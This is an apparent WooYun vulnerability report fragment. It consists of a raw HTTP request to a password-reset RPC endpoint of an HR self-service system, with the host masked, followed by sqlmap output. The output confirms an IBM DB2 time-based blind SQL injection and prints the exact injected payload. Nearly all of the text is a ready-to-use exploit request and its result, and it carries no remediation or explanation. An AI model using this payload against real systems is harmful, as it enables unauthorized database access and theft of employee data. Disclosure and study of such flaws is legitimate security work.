WooYun.org

POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Pragma: no-cache
Referer: http://**.**.**.**/hrss/rm/ResetPwd.jsp?
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: **.**.**.**
Content-Length: 584
Proxy-Connection: Keep-Alive
Cookie: JSESSIONID=0000RzM_ahWhjIHz9xWBQT4uoD0:17clokus8
__type=updateData&__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=%3Crpc%20transaction%3D%2210%22%20method%3D%22resetPwd%22%3E%3Cdef%3E%3Cdataset%20type%3D%22Custom%22%20id%3D%22dsResetPwd%22%3E%3Cf%20name%3D%22user%22/%3E%3C/dataset%3E%3C/def%3E%3Cdata%3E%3Crs%20dataset%3D%22dsResetPwd%22%3E%3Cr%20id%3D%2210008%22%20state%3D%22insert%22%3E%3Cn%3E%3Cv%3E123456*%3C/v%3E%3C/n%3E%3C/r%3E%3C/rs%3E%3C/data%3E%3Cvps%3E%3Cp%20name%3D%22__profileKeys%22%3EfindPwd%253B9589d8b622333776899b3ff0567f4603%3C/p%3E%3C/vps%3E%3C/rpc%3E%0D%0A&1442387826777

sqlmap identified the following injection points with a total of 226 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: IBM DB2 AND time-based blind (heavy query)
    Payload: __type=updateData&__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<rpc transaction="10" method="resetPwd"><def><dataset type="Custom" id="dsResetPwd"><f name="user"/></dataset></def><data><rs dataset="dsResetPwd"><r id="10008" state="insert"><n><v>123456' AND 6215=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND 'KMlo'='KMlo</v></n></r></rs></data><vps><p name="__profileKeys">findPwd%3B9589d8b622333776899b3ff0567f4603</p></vps></rpc>
&1442387826777
---
back-end DBMS: IBM DB2